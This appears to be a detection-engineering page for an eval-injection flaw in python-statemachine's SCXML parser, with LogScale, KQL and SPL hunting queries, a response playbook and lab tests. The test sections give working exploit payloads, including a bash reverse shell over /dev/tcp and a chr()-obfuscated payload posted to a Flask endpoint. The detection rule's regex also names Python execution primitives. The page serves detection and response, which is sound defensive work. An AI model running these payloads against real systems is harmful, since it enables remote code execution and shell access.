CVE-2026-47103 CrowdStrike LogScale · LogScale

Detect python-statemachine SCXML <data expr> Eval Injection (CVE-2026-47103) in CrowdStrike LogScale

CVE-2026-47103 is a critical eval injection vulnerability (CWE-95) in python-statemachine versions >= 3.0.0 and < 3.2.0. When processing SCXML documents, the library evaluates expressions in <data expr=...> elements using Python's eval(), allowing an attacker who can supply or influence SCXML input to execute arbitrary Python code in the context of the application process. A public PoC is available and exploitation requires no authentication when SCXML is parsed from user-controlled input. CVSS score 9.8.

MITRE ATT&CK

Tactic
Execution Persistence Privilege Escalation

LogScale Detection Query

CrowdStrike LogScale (LogScale)
cql
#event_simpleName IN (ProcessRollup2, SyntheticProcessRollup2)
| CommandLine = /(?i)(statemachine|\.scxml|scxml)/
| eval dangerous_eval = if(
    CommandLine = /(?i)(eval\s*\(|exec\s*\(|__import__|subprocess\.|os\.system|base64\.b64decode)/,
    1, 0
  )
| eval scxml_file = if(CommandLine = /(?i)\.scxml/, 1, 0)
| eval statemachine_lib = if(CommandLine = /(?i)statemachine/, 1, 0)
| eval risk_score = case(
    dangerous_eval = 1 AND statemachine_lib = 1, 95,
    dangerous_eval = 1 AND scxml_file = 1, 90,
    statemachine_lib = 1 AND scxml_file = 1, 70,
    dangerous_eval = 1, 60,
    true, 40
  )
| where risk_score >= 60
| eval FileName = FileName + " (" + SHA256HashData + ")"
| table _time, ComputerName, UserName, FileName, CommandLine, ParentBaseFileName, risk_score, dangerous_eval
| sort -risk_score, -_time
| head 200
critical severity high confidence

CrowdStrike CQL hunt across process execution events for python-statemachine SCXML eval injection patterns. Scores by combination of statemachine library usage, SCXML file reference, and presence of dangerous Python execution primitives.

Data Sources

CrowdStrike Falcon PlatformCrowdStrike Threat Graph

Required Tables

ProcessRollup2SyntheticProcessRollup2

False Positives & Tuning

  • Python automation frameworks that use statemachine and spawn subprocesses for task execution
  • Data engineering jobs using SCXML workflow definitions alongside subprocess-based data transformations
  • Enterprise applications with SCXML-driven UI logic that perform eval-based configuration loading
  • Penetration testing tools that reference statemachine patterns for workflow simulation

Other platforms for CVE-2026-47103


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Basic SCXML eval injection via python-statemachine

    Expected signal: Process execution of python3 with statemachine and scxml in command line; file creation event for /tmp/cve_2026_47103_pwned by the python3 process; pip install of vulnerable package version

  2. Test 2SCXML eval injection with reverse shell payload

    Expected signal: Python3 process spawning /bin/bash child process with -i flag; outbound TCP connection to 127.0.0.1:4444 (or attacker IP in real scenario) from the python3 process; subprocess.Popen call visible in process tree

  3. Test 3SCXML eval injection via web API endpoint (simulated)

    Expected signal: Flask application process accepting HTTP POST with SCXML content-type; python3 process creating temp .scxml file; file creation event for /tmp/api_pwned; process-level evidence of __import__ string construction via chr() obfuscation


Response Playbook

Triage

  1. Identify all hosts running Python applications that import python-statemachine (pip show python-statemachine or pip3 show python-statemachine) and confirm version is in the vulnerable range >= 3.0.0 and < 3.2.0.
  2. Determine whether any SCXML input sources (file paths, API endpoints, message queues) accept user-controlled or externally sourced content that could include malicious <data expr=...> elements.
  3. Review application logs and process execution logs for the triggering host for any anomalous subprocess spawns, unexpected outbound connections, or file writes by the Python process since the SCXML parsing occurred.
  4. Check whether a public-facing endpoint directly or indirectly passes user input to python-statemachine's SCXML parser without sanitization or allowlisting of expression values.

Containment

  1. Immediately upgrade python-statemachine to version 3.2.0 or later on all affected hosts; if upgrade is not immediately possible, block or disable any endpoints that accept SCXML input from untrusted sources until patched.
  2. Isolate any host where suspicious subprocess execution or outbound C2-like network connections are detected in correlation with statemachine/SCXML activity to prevent lateral movement or data exfiltration.

Evidence Collection

  1. Capture a memory dump of the affected Python process (if still running) and preserve the full SCXML document(s) that were parsed, including any <data expr=...> elements, for forensic analysis.
  2. Collect all relevant application logs, Python process command-line history, bash/shell history, and network flow logs from the affected host covering the window of the alert for timeline reconstruction.

Escalation Criteria

  • !Escalate immediately if forensic evidence shows arbitrary command execution occurred (e.g., new user accounts created, reverse shell established, files exfiltrated, or lateral movement to other hosts).
  • !Escalate if the vulnerable application is internet-facing and log evidence suggests the vulnerability was triggered from an external IP address, indicating active exploitation by a threat actor.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Installed package version of python-statemachine: pip show python-statemachine or check site-packages/python_statemachine-*.dist-info/METADATA
  • >SCXML files present on disk or passed via API: look for files with .scxml extension containing <data expr=...> elements with Python expressions
  • >Python process memory or core dump revealing eval() call stack frames from statemachine.scxml module
  • >Shell history and cron jobs created or modified by the Python process user account post-exploitation
  • >Outbound network connections initiated by the Python process to unexpected external hosts

Tuning Guidance

Reduce false positives by building an allowlist of known-good Python application paths and parent processes that legitimately use python-statemachine. Exclude developer workstations from high-severity alerting and tune the risk scoring thresholds based on your environment's baseline. If python-statemachine is not used in your environment at all, any match should be treated as critical. For environments where it is used, focus on the co-occurrence of statemachine references with dangerous eval/exec patterns or unexpected network connections as the highest-fidelity signal.


Hunting Queries

Hunt for hosts with high-frequency python-statemachine/SCXML invocations that may indicate automated exploitation or scanning, useful for identifying beachhead hosts or compromised CI/CD runners

Hunting — KQL
kql
DeviceProcessEvents
| where FileName in~ ('python.exe', 'python3', 'python3.exe')
| where ProcessCommandLine has_any ('statemachine', 'scxml')
| summarize count(), make_set(ProcessCommandLine), make_set(AccountName) by DeviceName, bin(TimeGenerated, 1h)
| where count_ > 5
| sort by count_ desc
Hunting — SPL
spl
index=* sourcetype IN ("WinEventLog:Microsoft-Windows-Sysmon/Operational", "linux_secure")
| eval cmd=coalesce(CommandLine, command)
| where match(cmd, "(?i)(statemachine|scxml)")
| bin _time span=1h
| stats count values(cmd) as cmds by host _time
| where count > 5
| sort -count

Hunt for unexpected SCXML file creation or modification by non-IDE processes, which may indicate an attacker writing malicious SCXML payloads or an exploited service writing files to disk post-compromise

Hunting — KQL
kql
DeviceFileEvents
| where FileName endswith '.scxml'
| where ActionType in ('FileCreated', 'FileModified', 'FileRenamed')
| where InitiatingProcessFileName !in~ ('code.exe', 'idea64.exe', 'pycharm64.exe', 'vim', 'nano', 'emacs')
| project TimeGenerated, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by TimeGenerated desc
Hunting — SPL
spl
index=* sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11 TargetFilename="*.scxml"
| eval parent=coalesce(Image, process)
| where NOT match(parent, "(?i)(code|pycharm|idea|vim|nano|emacs)")
| table _time host TargetFilename parent CommandLine
| sort -_time

Atomic Red Team Tests

Test 1 Basic SCXML eval injection via python-statemachine
linux

Demonstrates CVE-2026-47103 by loading a crafted SCXML document with a <data expr=...> element containing a Python expression that writes a file to disk, confirming arbitrary code execution via eval().

Command

bash
pip install 'python-statemachine>=3.0.0,<3.2.0' && python3 -c "
import tempfile, os
from statemachine import StateMachine, State
from statemachine.contrib.diagram import DotGraphMachine

scxml_payload = '''<?xml version=\"1.0\"?>
<scxml xmlns=\"http://www.w3.org/2005/07/scxml\" version=\"1.0\" initial=\"s1\">
  <datamodel>
    <data id=\"pwn\" expr=\"__import__('os').system('touch /tmp/cve_2026_47103_pwned')\"/>
  </datamodel>
  <state id=\"s1\"/>
</scxml>'''

with tempfile.NamedTemporaryFile(mode='w', suffix='.scxml', delete=False) as f:
    f.write(scxml_payload)
    scxml_path = f.name

from statemachine.io.scxml import SCXMLParser
parser = SCXMLParser()
parser.parse(scxml_path)
print('Check /tmp/cve_2026_47103_pwned for successful exploitation')
"

Cleanup

bash
rm -f /tmp/cve_2026_47103_pwned && pip uninstall -y python-statemachine

Expected Telemetry

Process execution of python3 with statemachine and scxml in command line; file creation event for /tmp/cve_2026_47103_pwned by the python3 process; pip install of vulnerable package version

Expected Detection

kql, spl, elastic_eql, and crowdstrike_cql rules should fire on the python3 process command line containing 'statemachine' combined with '__import__' or 'os.system' patterns

Test 2 SCXML eval injection with reverse shell payload
linux

Demonstrates CVE-2026-47103 with a more realistic attack payload: a <data expr=...> element that spawns a reverse shell subprocess, simulating an attacker gaining interactive access via a vulnerable web application.

Command

bash
# LAB ONLY - set up netcat listener first: nc -lvnp 4444
pip install 'python-statemachine>=3.0.0,<3.2.0' && python3 -c "
import tempfile

scxml_payload = '''<?xml version=\"1.0\"?>
<scxml xmlns=\"http://www.w3.org/2005/07/scxml\" version=\"1.0\" initial=\"s1\">
  <datamodel>
    <data id=\"shell\" expr=\"__import__('subprocess').Popen(['/bin/bash','-c','bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'])\"/>
  </datamodel>
  <state id=\"s1\"/>
</scxml>'''

with tempfile.NamedTemporaryFile(mode='w', suffix='.scxml', delete=False) as f:
    f.write(scxml_payload)
    scxml_path = f.name

from statemachine.io.scxml import SCXMLParser
parser = SCXMLParser()
parser.parse(scxml_path)
"

Cleanup

bash
pip uninstall -y python-statemachine && pkill -f 'bash -i'

Expected Telemetry

Python3 process spawning /bin/bash child process with -i flag; outbound TCP connection to 127.0.0.1:4444 (or attacker IP in real scenario) from the python3 process; subprocess.Popen call visible in process tree

Expected Detection

Network connection events correlated with statemachine parent process should trigger kql and elastic_eql sequence rules; crowdstrike_cql subprocess pattern should match; chronicle_yaral subprocess regex fires

Test 3 SCXML eval injection via web API endpoint (simulated)
linux

Simulates a realistic attack path where an attacker submits a malicious SCXML document to a Flask API endpoint that passes the content directly to python-statemachine's SCXML parser, triggering eval injection.

Command

bash
pip install 'python-statemachine>=3.0.0,<3.2.0' flask && python3 -c "
from flask import Flask, request
from statemachine.io.scxml import SCXMLParser
import tempfile, os, threading, time

app = Flask(__name__)

@app.route('/upload-scxml', methods=['POST'])
def upload():
    scxml_content = request.data.decode()
    with tempfile.NamedTemporaryFile(mode='w', suffix='.scxml', delete=False) as f:
        f.write(scxml_content)
        path = f.name
    parser = SCXMLParser()
    parser.parse(path)
    os.unlink(path)
    return 'OK'

def send_payload():
    time.sleep(2)
    import urllib.request
    payload = b'''<?xml version=\"1.0\"?><scxml xmlns=\"http://www.w3.org/2005/07/scxml\" version=\"1.0\" initial=\"s1\"><datamodel><data id=\"x\" expr=\"__import__(chr(111)+chr(115)).system(chr(116)+chr(111)+chr(117)+chr(99)+chr(104)+chr(32)+chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(97)+chr(112)+chr(105)+chr(95)+chr(112)+chr(119)+chr(110)+chr(101)+chr(100))\"/></datamodel><state id=\"s1\"/></scxml>'''
    req = urllib.request.Request('http://127.0.0.1:5001/upload-scxml', data=payload, method='POST')
    urllib.request.urlopen(req)
    print('Payload delivered. Check /tmp/api_pwned')

t = threading.Thread(target=send_payload)
t.start()
app.run(port=5001)
"

Cleanup

bash
rm -f /tmp/api_pwned && pip uninstall -y python-statemachine flask

Expected Telemetry

Flask application process accepting HTTP POST with SCXML content-type; python3 process creating temp .scxml file; file creation event for /tmp/api_pwned; process-level evidence of __import__ string construction via chr() obfuscation

Expected Detection

Web server process logs showing SCXML content received; file creation alert for /tmp/api_pwned; elastic_eql sequence rule correlating python3 process with subsequent file event; sumo_logic rule may detect chr() obfuscation pattern in application logs

Related Detections